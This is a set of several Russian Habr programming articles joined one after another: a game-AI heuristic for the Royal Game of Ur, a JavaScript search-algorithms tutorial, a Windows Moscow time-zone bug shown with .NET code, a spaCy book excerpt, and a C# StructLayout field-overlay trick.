Другой важной особенностью игры являются поля с «розетками», позволяющие при остановке на них, сделать дополнительный ход. Введение этих полей придаёт игре поистине ураганный характер. Если мы играем группой фишек, не обязательно каждый раз выкидывать «четверки» для того, чтобы «ходить по розеткам». Очень часто удаётся сделать по 2-3 хода, до того, как ход перейдёт к противнику.
Несколько особняком, на мой взгляд, стоит правило, не позволяющее «срубать» перевёрнутую фишку, дошедшую до a2. Можно долго спорить по поводу обоснованности или полезности этого правила, но то, что оно работает — неоспоримый факт. В процессе тестовых прогонов игры неоднократно возникали ситуации, когда выигрыш одной из сторон определялся тем, действует это правило или нет. Мы реализовали его ещё и потому, что оно вносит в игру интригу. Когда противник довёл свою последнюю перевёрнутую фишку до a2, должно очень сильно повезти, чтобы нам удалось у него выиграть. Срубить эту фишку мы никак не можем, а как только у противника выпадет «единичка», игра будет закончена.
Если вы думаете, что на этом сюрпризы игры из Ура заканчиваются, вы ошибаетесь! Почему для игры используются три «кости» D2, а не одна D4? Игровые кости типа [D4](http://skyruk.livejournal.com/pics/catalog/6819/167235) (с четырьмя гранями) были широко распространены в древнем мире. Почему в игре не была использована одна «кость» вместо трёх? Это не очевидно на первый взгляд, но при использовании такой игровой схемы, выбрасываемые очки не равновероятны. Единички и двойки выпадают в три раза чаще чем тройки и четверки.
Это самым непосредственным образом влияет на игровой процесс. Позиции на удалении 3-4 клеток от догоняющей фишки противника, гораздо более безопасны, чем расстояние в 1-2 клетки. А ведь нас может догонять не одна, а несколько фишек, кроме того, надо учитывать «безопасные» поля. В общем, эта игра совсем не такая простая, какой кажется на первый взгляд.
Отдельно стоит поговорить об игровом AI. Очень важно, чтобы программа играла примерно на одном уровне с человеком. ZoG-овская реализация, например, играет очень слабо. Часто удаётся выиграть у неё «всухую». Играть с ней не очень интересно. Но если программа будет постоянно выигрывать, это также может «отпугнуть» пользователя. Мы постарались соблюсти баланс. В игре имеется четыре уровня сложности. На самом высоком уровне мне удаётся выиграть примерно в половине партий, с отрывом в 1-2 фишки. Низкий уровень сложности, возможно, будет интересен для «казуальщиков».
Первоначально мы хотели использовать [альфа-бета алгоритм](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D1%8C%D1%84%D0%B0-%D0%B1%D0%B5%D1%82%D0%B0_%D0%BE%D1%82%D1%81%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5) для реализации AI, но быстро отказались от этой идеи. Случайный характер генерации ходов имеет свою специфику. На самом деле, важно только то, чтобы тебя не «съели» (с высокой вероятностью) на следующем ходу. Заглядывать дальше — накладно и, в целом, бесполезно. Для этой игры требуется не «искусственный интеллект», а, скорее, «искусственный инстинкт», но «инстинкт» довольно-таки сложный. Вот какой псевдокод получился у меня в конечном итоге:
**Реализация игрового AI**
```
- Segment 1 вес = 0.5
- level >= 3
- level < 8
- Если есть ходы на "розетки", выбрать из них ход, расположенный дальше от старта
- level >= 8
- Если есть ход на "розетку" не оставляющий g2 пустой, выбрать ход расположенный дальше от старта
- Segment 2 вес = 0.3
- level >= 5
- Если имеются ходы со срубанием перевернутых фишек, выбрать наиболее удаленный от старта
- Если имеются ходы со срубанием обычных фишек, выбрать ближайший к старту
- level = 4
- Если имеются ходы со срубанием, выбрать из них ход, расположенный дальше от старта
- level >= 8
- Если есть возможность хода на g2 и поле пусто, идти туда
- level >= 9
- Если есть возможность занять g1 или h1, ходим туда
- level >= 6
- Если можно вывести фишку с поля, выбрать этот ход
- level >= 5
- Если на первых четырёх клетках нет фишек, выбрать ход со стартовой позиции
- level >= 4
- Если имеются ходы с блокированием, выбрать случайный из них
- Segment 3 вес = 0.2
- level < 8
- level >= 7
- Если имеется ход на поле не под боем, выбрать любой из них
- level >= 2
- Xод фишкой, расположенной дальше от старта
- level = 1
- Ход случайно выбранной фишкой
- level >= 8
- level = 8
- Ход на максимальном расстоянии от старта на поле не под боем, не оставляющий g2 пустой
- Ход на максимальном расстоянии от старта, не оставляющий g2 пустой
- level = 9
- Ход на максимальном расстоянии от старта на поле не под боем, не оставляющий g2 пустой, не с g1 или h1
- Ход на максимальном расстоянии от старта, не оставляющий g2 пустой, не с g1 или h1
- Любой оставшийся ход
```
Здесь определено 9 игровых уровней, учитывающих различные аспекты текущей позиции. Фактически, в более сложной игре, наподобие Шахмат, подобные эвристики управляли бы порядком перебора ходов (для просмотра «наилучших» ходов в первую очередь). Наша игра проще. В ней эвристики могут использоваться непосредственно для выбора «лучшего» хода. Как я уже говорил выше, этого вполне достаточно, чтобы программа играла примерно на одном уровне с человеком.
Вот она, «Забытая игра Ур», которую мы получили в результате:
В эту игру действительно приятно играть! Она возвращает меня в те времена, когда мы ходили друг к другу в гости не только для того, чтобы выпить и закусить. Да, тогда и трава была зеленее, и деревья выше, но дело не в этом. Мы почти перестали играть в Шахматы и Шашки. Мы не собираемся семьями, чтобы сыграть в Бридж. Го и Сёги для большинства из нас — недостижимая экзотика. Даже старички-доминошники куда-то пропали со двора. [Homo Ludens](http://ru.wikipedia.org/wiki/Homo_Ludens) — «Человек играющий» позабыл про настольные игры. Конечно, разработка всего одной игры под iOS и Android этого не исправит, но, возможно, в какой-то мере поможет вернуть интерес к настольным играм? Я надеюсь на это. | https://habr.com/ru/post/225631/ | null | ru | null |
# Алгоритмы для веб-разработчиков простыми словами
Здравствуйте, друзья! Данным постом мы открываем цикл статей об алгоритмах и структурах данных.
В этой статье мы поговорим о том, зачем вообще их нужно знать веб-разработчикам, и затронем тему оценки сложности алгоритмов и Big O нотации.
### Зачем мне алгоритмы? Я фронтендер!
Вы наверняка задумались: «А зачем мне нужно тратить своё время на изучение этих сложных алгоритмов, если я работаю с фронтендом? Как знание графов и бинарных деревьев поможет мне лучше отцентровать одну div-ку внутри другой div-ки?»
С одной стороны, знание алгоритмов и структур данных действительно напрямую не пригодится вам в практической работе. Но с другой стороны, существует одна весомая причина инвестировать немного своего времени в их изучение: знание алгоритмов и структур данных сделает вас лучше как разработчика.
Многие веб-разработчики на таких форумах, как Reddit и Stack Overflow, отмечали, что, освоив даже на базовом уровне эти фундаментальные основы программирования, чувствовали себя увереннее, профессиональнее и писали более чистый и структурированный код.
Также это помогло им прокачать главный скилл разработчика – умение логически думать и решать сложные технические задачи.
Кстати, именно по этой причине многие крупные IT-компании требуют от своих потенциальных сотрудников знания фундаментальных основ computer science, к которым как раз относятся алгоримты и структуры данных, и с пристрастием спрашивают их на собеседованиях (даже на позицию фронтенд-разработчика!).
Ведь они ищут лучших из лучших, и знание алгоритмов как раз делает вас лучше как разработчика. Тем более, лучше инвестировать свое свободное время в новые знания и навыки, чем в сериалы на Netflix.
И на этой прекрасной ноте давайте перейдем к основной теме статьи.
### Что такое алгоритмы и структуры данных
Алгоритм — это совокупность последовательных операций, направленных на решение определенной задачи.
Структуры данных — это особый способ организации и хранения данных в компьютере, который обеспечивает эффективный доступ к этим данным и их изменение. Для оценки сложности и скорости работы алгоритма используют так называемую «О-нотацию» или «О-большое».
Эта запись имеет вид `O(n)`, где n – это количество операций, которое предстоит выполнить алгоритму. Важное замечание: `O(n)` всегда описывает худший возможный случай выполнения алгоритма. Это дает нам гарантию, что наш алгоритм никогда не будет работать медленнее `O(n)`.
Скорость работы алгоритмов измеряется не в секундах, а в темпе роста количества операций. Т.е. нас интересует, насколько быстро возрастает время выполнения алгоритма с увеличением размера входных данных.
Вот так выглядит время работы некоторых алгоритмов:
`O(1)` – константное время. Например, чтение данных из ячейки в массиве.
`O(log n)` – логарифмическое время. Например, бинарный поиск.
`O(n)` – линейное время. Например, поиск наименьшего или наибольшего элемента в неотсортированном массиве.
`O(n * log n)` – линейно-логарифмическое время. Например, быстрая сортировка.
`O(n2)` – квадратичное время. Например, сортировка пузырьком.
`O(n!)` – факториальное время. Например, решение задачи коммивояжера полным перебором.
### Алгоритм линейного поиска
Давайте для начала рассмотрим такой простейший алгоритм, как линейный поиск элемента в массиве, и реализуем его на JavaScript.
Итак, есть массив чисел, и нам нужно найти в нем конкретное число.
Создадим функцию линейного поиска и назовем ее `linearSearch`. Эта функция будет принимать в себя два параметра: `array` (т.е. сам массив элементов, в котором ведется поиск) и `item` (элемент, который мы ищем в этом массиве).
Линейный поиск происходит достаточно предсказуемо: мы используем цикл for, в котором пробегаемся по элементам массива и сравниваем каждый элемент с искомым.
Далее инициализируем счётчик и установим его исходное значение, которое будет равно нулю, так как мы собираемся проверять массив с самого первого элемента.
`let i = 0;`
Наш цикл будет выполняться до тех пор, пока не пройдет по всем элементам массива. В качестве конечной точки мы используем значение `array.length`, которое возвращает количество элементов в массиве. Так как массив `array` начинается с нулевого индекса, то мы используем при сравнении знак «<».
`i < array.length;`
После каждой итерации цикла увеличиваем значение переменной i на единицу.
`i++`
Далее с помощью условной конструкции `if` будем проверять на истинность одно условие. Данная проверка будет выполняться при каждой итерации цикла, но код внутри нее сработает только один раз, после чего функция завершится.
Здесь мы сравниваем каждый элемент массива (`array[i]`) c искомым элементом (`item`) и, если эти элементы совпадают, то возвращаем i (индекс массива, по которому находится этот искомый элемент `item`).
Если же искомый элемент не был найден, то по завершении работы цикла мы возвращаем -1.
Дальше нам остается только вызвать функцию `linearSearch`, первым параметром передать в нее массив элементов, а вторым параметром — искомое число.
Затем, с помощью функции `console.log`, выводим результат в консоль.
Продублируем код для копирования:
```
const array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
function linearSearch(array, item) {
for (let i = 0; i < array.length; i++) {
if (array[i] === item) {
return i;
}
}
return -1;
}
console.log(linearSearch(array, 5)); // Вызываем функцию и получаем 5.
```
Как видите, алгоритм линейного поиска довольно прост в реализации. Сложность данного алгоритма: линейное время или `O(n)`.
Давайте теперь рассмотрим более сложный и интересный алгоритм, который еще называют алгоритмом бинарного поиска.
### Алгоритм бинарного поиска
Бинарный (или двоичный) поиск — это алгоритм, при котором массив данных будет последовательно делиться пополам до тех пор, пока не будет обнаружен искомый элемент.
Важное замечание: данный алгоритм будет работать только для отсортированного массива.
Бинарный поиск может быть реализован следующим образом:
0. Берём исходный массив отсортированных данных (например, по возрастанию).
1. Делим его на две части и находим середину.
2. Сравниваем элемент в середине с искомым элементом.
3. Если искомое число меньше этого центрального элемента — продолжаем искать элемент в левой части массива. Для этого мы делим левую часть массива на 2 части. Если искомый элемент больше центрального элемента, то мы отбрасываем левую часть массива и продолжаем поиск в правой.
И повторяем данную процедуру до тех пор, пока не найдем искомый элемент. Как только мы его нашли, то возвращаем индекс в массиве, по которому он находится. Если же данный элемент не будет найден, то возвращаем -1.
Давайте сначала взглянем на реализацию данного алгоритма, а потом разберем ее детально.
```
const arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
const binarySearch = (arr, value) => {
let start = 0;
let end = arr.length - 1;
while (start <= end) {
let middle = Math.floor((start + end) / 2);
if (value === arr[middle] ) return middle;
if (value < arr[middle]) {
end = middle - 1;
} else {
start = middle + 1;
}
}
return -1;
};
console.log(binarySearch(arr, 5)); // 5
```
Итак, у нас есть массив чисел arr, отсортированный по возрастанию. Как вы помните, если заранее не отсортировать массив, то бинарный поиск не будет работать.
Создаем функцию `binarySearch` и передаем в нее два параметра: отсортированный массив arr и искомый элемент value.
Затем определяем следующие переменные:
`let start = 0;`
Так как мы должны найти центральный элемент, то сначала необходимо определить начальный и конечный элементы.
Задаем таким образом начальный элемент и устанавливаем его значение равным нулю, так как наш массив начинается с нулевого индекса.
`let end = arr.length - 1;`
Затем определяем конечный элемент. Его позиция будет вычисляться по длине массива `arr.length - 1`.
Далее мы создадим цикл while, который будет работать до тех пор, пока начальная и конечная позиция массива не сравняются (`start <= end`).
`let middle;`
Внутри цикла мы будем высчитывать позицию центрального элемента в массиве и сохранять ее в переменную middle. Для этого мы складываем начальную позицию с конечной и делим результат на две части.
Результат обернем в функцию `Math.floor()`, так как в результате деления у нас может получиться дробное число. С помощью данной функции мы округляем полученное число до нижней границы.
Далее с помощью условной конструкции `if` создаем проверку: если центральный элемент в массиве по индексу `middle` равен искомому элементу, то мы возвращаем индекс найденного элемента, сохраненный в переменной middle. И на этом наша функция завершает свою работу.
Если на данной итерации цикла мы не нашли искомый элемент, то необходимо выполнить еще одну проверку с помощью условной конструкции `if`. Если искомый элемент меньше, чем элемент, находящийся в середине, то это значит, что нам нужно продолжить поиск в левой части массива, а правую можно отбросить.
Для этого нам нужно изменить значение переменной `end`. В итоге мы получим `end = middle + 1`. А в блоке else мы прописываем такое же условие, только для случая, если искомый элемент будет больше, чем элемент, находящийся в середине. Тогда мы отбрасываем левую часть массива и продолжаем поиск в правой.
После завершения цикла `while` возвращаем -1 на случай, если искомое число не будет найдено в массиве. Далее вызываем функцию `binarySearch` и передаем в нее два параметра: массив элементов и искомое число.
И выводим результат в консоль.
Что касается оценки сложности приведенных алгоритмов: бинарный поиск эффективнее линейного, поскольку массив данных на каждом шаге разделяется надвое и одна половина сразу отбрасывается.
Последовательная сложность бинарного поиска в худшем и среднем случаях равна `O(log n)`, в лучшем — `O(1)` (если обнаруживаем искомый элемент на первой итерации). Для сравнения: вычислительная сложность линейного поиска, как вы помните, равна `O(n)`.
На этом мы закончили первую статью из нашего цикла статей по алгоритмам. Спасибо за внимание. | https://habr.com/ru/post/683128/ | null | ru | null |
# Сказка о потерянном московском времени, или в чем ошиблись ребята из Microsoft
На днях я с сожалением обнаружил, что в семействе операционных систем Windows содержится неверная информация о московском времени. Примечательно, что ошибка до сих пор не исправлена, хотя просочилась в систему еще в 2011-ом году. Последствия ошибки будут показаны с помощью .NET, но это актуально для всех технологий, которые доверяют данным Windows о часовых поясах и смещениях времени.
Итак, на моей машине выставлен часовой пояс Москвы:
Создаем дату 09.03.2014 10:00 в UTC. Затем переводим ее в московское время. Как вы знаете, сейчас для Москвы круглый год действует смещение [UTC+04:00](http://ru.wikipedia.org/wiki/UTC+04:00):
```
var dt = new DateTime(2014, 3, 9, 10, 0, 0, DateTimeKind.Utc); //09.03.2014 10:00 UTC
Console.WriteLine("UTC: {0},\nMoscow: {1}",dt, dt.ToLocalTime() );
```
Получаем:
> UTC: 09.03.2014 10:00:00,
>
> Moscow: 09.03.2014 14:00:00
Что же, неплохо. Однако, окунемся чуть глубже в прошлое. До отмены перевода часов на зимнее время наша страна переводила стрелки часов два раза в год. Зимой московское время имело смещение UTC+03:00, а летом UTC+04:00.
Повторим операцию для даты 09.03.2010 10:00 в UTC.
```
var dt = new DateTime(2010, 3, 9, 10, 0, 0, DateTimeKind.Utc); //09.03.2010 10:00 UTC
Console.WriteLine("UTC: {0},\nMoscow: {1}",dt, dt.ToLocalTime() );
```
Получим:
> UTC: 09.03.2010 10:00:00,
>
> Moscow: 09.03.2010 14:00:00
Что-то не так. В марте 2010-го действовало зимнее время, для которого смещение должно быть +03:00 часа, а не +04:00. Аналогично, для летнего времени(июнь 2010-го):
```
var dt = new DateTime(2010, 6, 9, 10, 0, 0, DateTimeKind.Utc); //09.06.2010 10:00 UTC
Console.WriteLine("UTC: {0},\nMoscow: {1}",dt, dt.ToLocalTime() );
```
> UTC: 09.06.2010 10:00:00,
>
> Moscow: 09.06.2010 15:00:00
Летом смещение было +04:00, но мы получили смещение +05:00, которого в московском часовом поясе никогда не было!
#### В чем же дело?
Информация о часовых поясах хранится в реестре Windows и обновляется с помощью патчей. Вместо того, чтобы использовать базу данных [tz database](http://ru.wikipedia.org/wiki/Tz_database), в которой актуализируется информация о всемирных часовых поясах (и которая используется в \*nix системах, BSD системах и Mac OS X), в Microsoft поддерживают собственную базу.
Если немного упростить, информация в ней хранится так. Для часового пояса указывается базовое смещение относительно UTC, затем идет информация о переходах на летнее/зимнее время. В ней говорится о том когда выполняется переход и как изменяется базовое смещение. До отмены перехода на зимнее время для Москвы действовали такие цифры:
* Базовое смещение: UTC+03:00
* Зимнее время = базовое смещение
* Летнее время = базовое смещение +01:00
После [отмены](http://support.microsoft.com/gp/cp_dst/ru) перехода на зимнее время, вышел [hotfix](http://support.microsoft.com/kb/2570791), который должен был зафиксировать для Москвы круглогодичное смещение UTC+04:00. Но тут произошла ошибка. Вместо того, чтобы задать перманентное летнее время, в Microsoft поменяли базовое смещение с +03:00 на +04:00 и включили перманентное зимнее время. Но дело в том, что база часовых поясов Microsoft не содержит исторической информации об изменении базового смещения. В итоге для дат до лета 2010 получается следующая ситуация. Когда действует зимнее время, его смещение совпадает с базовым. До выхода патча это было +03:00, а теперь стало +04:00. Когда действует летнее время, оно имеет смещение +01:00 относительно базового. Раньше получалось +04:00, а после выхода патча стало +05:00.
Через какое-то время данная проблема [была замечена](https://connect.microsoft.com/VisualStudio/feedback/details/686169/incorrent-utc-to-local-time-conversion-after-kb-2570791), и в Microsoft подготовили очередной [hotfix](http://support.microsoft.com/kb/2657025), который должен был исправить сложившуюся ситуацию. Однако его установка не исправляет проблему.
На текущий момент экспериментально выяснено, что ошибка воспроизводится на Windows 7, Windows 8, а так же Windows Server 2008 R2. В случае .NET данную проблему можно решить, работая с датами с помощью библиотеки [NodaTime](http://nodatime.org/), которая использует базу данных tz database. | https://habr.com/ru/post/215115/ | null | ru | null |
# Книга «Обработка естественного языка. Python и spaCy на практике»
[](https://habr.com/ru/company/piter/blog/556140/) Привет, Хаброжители! Python и spaCy помогут вам быстро и легко создавать NLP-приложения: чат-боты, сценарии для сокращения текста или инструменты принятия заказов. Вы научитесь использовать spaCy для интеллектуального анализа текста, определять синтаксические связи между словами, идентифицировать части речи, а также определять категории для имен собственных. Ваши приложения даже смогут поддерживать беседу, создавая собственные вопросы на основе разговора.
Вы научитесь:
* Работать с векторами слов, чтобы находить синонимы (глава 5).
* Выявлять закономерности в данных с помощью displaCy — встроенного средства визуализации библиотеки spaCy (глава 7).
* Автоматически извлекать ключевые слова из пользовательского ввода и сохранять их в реляционной базе данных (глава 9).
* Развертывать приложения на примере чат-бота для взаимодействия с пользователями (глава 11).
Прочитав эту книгу, вы можете сами расширить приведенные в ней сценарии, чтобы обрабатывать разнообразные варианты ввода и создавать приложения профессионального уровня.
Использование меток синтаксических зависимостей при обработке текста
--------------------------------------------------------------------
Как вы узнали из раздела «Выделение и генерация текста с помощью тегов частей речи» на с. 81, теги частей речи — весьма мощный инструмент для интеллектуальной обработки текста. Но на практике для этого может понадобиться больше информации о токенах предложения.
Например, часто необходимо знать, чем является личное местоимение в предложении: подлежащим или дополнением. Иногда это несложно определить. Личные местоимения *I, he, she, they и we* практически всегда выступают в роли подлежащего. При использовании в качестве дополнения I превращается в *me*, как в предложении *A postman brought me a letter.*
Но с некоторыми другими личными местоимениями, например *you* или *it*, которые выглядят одинаково и в роли подлежащего и в роли дополнения, не всегда все очевидно. Рассмотрим два предложения: *I know you. You know me*. В первом предложении *you* является прямым дополнением глагола *know*. Во втором же you является подлежащим.
Попробуем решить эту задачу с помощью меток синтаксических зависимостей и тегов частей речи, после чего, опять же с помощью меток синтаксических зависимостей, создадим усовершенствованную версию нашего чат-бота, отвечающего на вопросы.
**Различаем подлежащие и дополнения**
Чтобы определить программным образом, чем в заданном предложении являются такие местоимения, как *you* или *it*, необходимо посмотреть на присвоенную им метку зависимости. Теги частей речи в сочетании с метками зависимостей позволяют получить гораздо больше информации о роли токена в предложении.
Вернемся к предложению из предыдущего примера и взглянем на результаты разбора зависимостей в нем:
```
>>> doc = nlp(u"I can promise it is worth your time.")
>>> for token in doc:
... print(token.text, token.pos_, token.tag_, token.dep_, spacy.explain(token.dep_))
```
Для токенов предложения были извлечены теги частей речи, метки зависимостей и их описание:
```
I PRON PRP nsubj nominal subject
can VERB MD aux auxiliary
promise VERB VB ROOT None
it PRON PRP nsubj nominal subject
is VERB VBZ ccomp clausal complement
worth ADJ JJ acomp adjectival complement
your ADJ PRP$ poss possession modifier
time NOUN NN npadvmod noun phrase as adverbial modifier
. PUNCT . punct punctuation
```
Второй и третий столбцы содержат теги общих и уточненных частей речи соответственно. Четвертый столбец содержит метки зависимостей, а пятый — описания этих меток.
Сочетание тегов частей речи с метками зависимостей демонстрирует более ясную, чем теги частей речи или метки зависимости по отдельности, картину грамматической роли каждого из токенов в предложении. В данном примере тег части речи VBZ, присвоенный токену is, означает глагол третьего лица единственного числа настоящего времени, в то время как присвоенная тому же токену метка зависимости ccomp указывает, что *is* — это клаузальное дополнение (зависимое придаточное предложение с внутренним подлежащим). Здесь *is* представляет собой клаузальное дополнение глагола promise с внутренним подлежащим *it*.
Чтобы определить роль *you* в *I know you*. *You know me*, взглянем на следующий список тегов частей речи и меток зависимостей, присвоенных токенам:
```
I PRON PRP nsubj nominal subject
know VERB VBP ROOT None
you PRON PRP dobj direct object
. PUNCT . punct punctuation
You PRON PRP nsubj nominal subject
know VERB VBP ROOT None
me PRON PRP dobj direct object
. PUNCT . Punct punctuation
```
В обоих случаях токену *you* присвоены одни и те же теги частей речи: PRON и PRP (общий и уточненный соответственно). Но метки зависимости в этих двух случаях различны: dobj в первом предложении и nsubj — во втором.
**Выясняем, какой вопрос должен задать чат-бот**
Иногда для извлечения необходимой информации приходится обходить дерево зависимостей предложения. Рассмотрим следующий диалог между чат-ботом и пользователем:
```
User: I want an apple.
Bot: Do you want a red apple?
User: I want a green apple.
Bot: Why do you want a green one?
```
Чат-бот способен продолжать разговор, просто задавая вопросы. Но обратите внимание, что в выяснении того, какой вопрос ему следует задать, ключевую роль играет наличие/отсутствие прилагательного-модификатора.
В английском языке существует два основных типа вопросов: вопросы типа «да/нет» и информационные вопросы. Возможных ответов на вопросы типа «да/нет» (наподобие сгенерированного в примере из подраздела «Преобразование утвердительных высказываний в вопросительные» на с. 85) может быть только два: да или нет. Чтобы сформулировать подобный вопрос, необходимо поставить вспомогательный модальный глагол перед подлежащим, а смысловой глагол — после подлежащего. Например: *Could you modify it?*
Информационные вопросы предполагают развернутый ответ, а не только да/нет. Они начинаются с вопросительного слова, например с *what, where, when, why* или *how*. Далее процесс формирования информационного вопроса не отличается от процесса с вопросом типа «да/нет». Например: *What do you think about it?*
В первом случае в предыдущем примере с *apple* чат-бот задает вопрос типа «да/нет». Во втором случае, когда пользователь добавляет к слову *apple* модификатор *green*, чат-бот формулирует информационный вопрос.
Краткая сводка этого подхода приведена на рис. 4.1.
Следующий сценарий анализирует введенное предложение, выбирая, какой вид вопроса задать, после чего формирует соответствующий вопрос. Код этого сценария мы рассмотрим по частям в различных разделах, но программу целиком я рекомендую сохранить в одном файле с названием question.py.
Начнем с импорта модуля sys, который позволяет получить предложение в виде аргумента для дальнейшей обработки:
```
import spacy
import sys
```
Это шаг вперед по сравнению с предыдущими сценариями, в которых мы жестко «зашивали» анализируемое предложение. Теперь пользователи могут подавать на вход собственные предложения.
Далее опишем функцию для распознавания и извлечения произвольного именного фрагмента — прямого дополнения из входного документа. Например, если вы ввели документ, содержащий предложение *I want a green apple*., то будет возвращен фрагмент *a green apple*:
Проходим в цикле по токенам введенного предложения 1 и, проверяя теги зависимостей на равенство dobj 2, ищем такой токен, который выступал бы в роли прямого дополнения. В предложении *I want a green apple*. прямым дополнением является существительное *apple*. После обнаружения прямого дополнения необходимо определить элементы, являющиеся для него синтаксически дочерними 3, поскольку именно из них состоит фрагмент, на основе которого будет определяться тип задаваемого вопроса. В целях отладки полезно вывести на экран дочерние элементы этого прямого дополнения 4.
Для выделения нужного фрагмента производим срез объекта Doc, вычисляя начальный и конечный индексы. Начальный индекс равен индексу найденного прямого дополнения минус число его синтаксических дочерних элементов: как вы, возможно, догадались, он представляет собой индекс крайнего слева дочернего элемента. Конечный индекс равен индексу прямого дополнения плюс один, так что последним включаемым в искомый фрагмент токеном и является это прямое дополнение 5.
Проще говоря, реализованный в сценарии алгоритм предполагает, что у прямого дополнения есть только левосторонние дочерние элементы. В действительности это не всегда так. Например, в предложении *I want to touch a wall painted green.* необходимо проверять и левосторонние, и правосторонние дочерние элементы прямого дополнения wall. Кроме того, поскольку *green* не является прямым дочерним элементом *wall*, необходимо обойти дерево зависимостей, чтобы определить, является ли green модификатором *wall*.
Следующая функция просматривает фрагмент и определяет, какой тип вопроса должен задать чат-бот:
Сначала задаем начальное значение переменной question\_type равным 'yesno', что соответствует вопросу типа «да/нет» 1. Далее в переданном в функцию chunk ищем токен с тегом amod, который означает прилагательное-модификатор 2. Если таковое находится, меняем значение переменной question\_type на 'info', соответствующее информационному типу вопроса 3.
Определив, какой тип вопроса нам нужен, генерируем в следующей функции вопрос на основе входного предложения:
В серии циклов for превращаем входное утверждение в вопрос, производя инверсию и замену личных местоимений. Для формирования вопроса перед личным местоимением добавляем глагол *do*, поскольку в утверждении отсутствует вспомогательный модальный глагол. (Напомню, что такой алгоритм годится лишь для определенных предложений; в более полной реализации необходимо программным образом определять, какой подход к обработке использовать.)
Если значение переменной question\_type равно 'info', добавляем слово why в начало вопроса 1. Если значение переменной question\_type равно 'yesno' 2, вставляем прилагательное для модификации прямого дополнения в вопросе. В данном примере ради простоты мы жестко «зашили» прилагательное в код, выбрав для этого прилагательное *red* 3, которое в некоторых предложениях будет выглядеть странно. Например, можно сказать *Do you want a red orange?*, но никак не *Do you want a red idea?*. В более совершенной реализации такого чат-бота необходимо определить программным образом подходящее прилагательное для модификации прямого дополнения. Этот вопрос будет рассмотрен в главе 6.
Обратите внимание: используемый алгоритм предполагает, что входное предложение оканчивается знаком препинания, например. или!..
После описания всех функций посмотрим на основной блок сценария:
Прежде всего проверяем, передал ли пользователь предложение в виде аргумента командной строки 1. Если да, то применяем к аргументу конвейер spaCy, создавая экземпляр объекта Doc 2.
Далее передаем этот doc в функцию find\_chunk, которая должна вернуть содержащий прямое дополнение именной фрагмент, например *a green apple*, для дальнейшей обработки 3. Если же во входном предложении такого именного фрагмента нет 4, мы получим сообщение *The sentence does not contain a direct object.*
Затем передаем только что выделенный фрагмент в функцию determine\_question\_type, которая, проанализировав его структуру, определяет, какой вопрос задать 5.
Наконец, передаем входное предложение и определенный нами тип вопроса в функцию generate\_question, генерирующую соответствующий вопрос и возвращающую его в виде строки 6.
Выводимый сценарием результат зависит от введенного предложения. Вот несколько возможных вариантов:
Если в качестве аргумента командной строки передать предложение, содержащее прилагательное-модификатор (например, green для прямого дополнения наподобие apple), сценарий должен сгенерировать информационный вопрос 1.
Если предложение содержит прямое дополнение без прилагательного-модификатора, сценарий должен ответить вопросом типа «да/нет» 2.
Если же ввести предложение без прямого дополнения, сценарий должен сразу это заметить и предложить повторный ввод 3.
Наконец, если вы забыли передать предложение, сценарий также должен вернуть соответствующее сообщение 4.
> **Попробуйте сами**
>
>
>
> Как отмечалось ранее, сценарий, о котором шла речь в предыдущем разделе, годится не для всех предложений. Для формирования вопроса он добавляет глагол *do*, что подходит только для предложений без вспомогательного модального глагола.
>
>
>
> Попробуйте расширить функциональность этого сценария для работы с утверждениями, содержащими вспомогательные модальные глаголы. Например, получив на входе утверждение *I might want a green apple*., сценарий должен вернуть *Why might you want a green one?*. Подробнее о том, как преобразовать в вопрос утвердительное высказывание, содержащее вспомогательный модальный глагол, вы прочитали в разделе «Преобразование утвердительных высказываний в вопросительные» на с. 85.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/python/product/obrabotka-estestvennogo-yazyka-python-i-spacy-na-praktike)
» [Оглавление](https://www.piter.com/collection/python/product/obrabotka-estestvennogo-yazyka-python-i-spacy-na-praktike#Oglavlenie-1)
» [Отрывок](https://www.piter.com/collection/python/product/obrabotka-estestvennogo-yazyka-python-i-spacy-na-praktike#Otryvok-1)
Для Хаброжителей скидка 25% по купону — **spaCy**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/556140/ | null | ru | null |
# Не уважаю инкапсуляцию, или использование таблицы методов другого типа для быстрого вызова приватных методов
Всем привет. Хотелось бы поделиться примером использования StructLayout для чего-то более интересного, чем примеры с байтами, интами и прочими цифрами, в которых все происходит чуть более, чем ожидаемо.
Прежде, чем приступить к молниеносному нарушению инкапсуляции, стоит в двух словах напомнить, что такое StructLayout. Строго говоря, это даже StructLayoutAttribute, то бишь атрибут, который позволяет создавать структуры и классы, подобные union в С++. Если говорить еще более подробно, то данный атрибут позволяет взять управление размещением членов класса в памяти на себя. Соответсвенно, ставится он над классом. Обычно, если класс имеет 2 поля, мы ожидаем, что они будут располагаться последовательно, то бишь будут независимы друг от друга (не перекрывать). Однако, StructLayout дает возможность указать, что расположение полей будет задавать не среда, а пользователь. Для явного указания смещения полей следует использовать параметр LayoutKind.Explicit. Для указания, по какому смещению относительно начала класса/структуры (в дальнейшем класса) мы хотим разместить поле, над ним следует поставить атрибут FieldOffset, который принимает в качестве параметра количесво байт — отступ от начала класса. Отрицательное значение передать не получится, так что о том, чтобы испортить указатели на таблицу методов или индекс блока синхронизации, даже и не думайте, все будет немного сложнее.
Приступим к написанию кода. Для начала предлагаю начать с простого примера. Создадим класс следующего вида:
```
public class CustomClass
{
public override string ToString()
{
return "CUSTOM";
}
public virtual object Field { get; } = new object();
}
```
Далее используем вышеописанный механизм явного задания смещений полей.
```
[StructLayout(LayoutKind.Explicit)]
public class CustomStructWithLayout
{
[FieldOffset(0)]
public string Str;
[FieldOffset(0)]
public CustomClass SomeInstance;
}
```
Пока отложу объяснения и воспользуюсь написанным классом следующим образом:
```
class Program
{
static void Main(string[] args)
{
CustomStructWithLayout instance = new CustomStructWithLayout();
instance.SomeInstance = new CustomClass();
instance.Str = "4564";
Console.WriteLine(instance.SomeInstance.GetType()); //System.String
Console.WriteLine(instance.SomeInstance.ToString()); //4564
Console.Read();
}
}
```
Итого. Вызов метода GetType() выдает string, метод ToString() шалит и дает нам строку «4564».
Разрядка для мозгов: Что будет выведено при вызове виртуального свойства CustomClass?
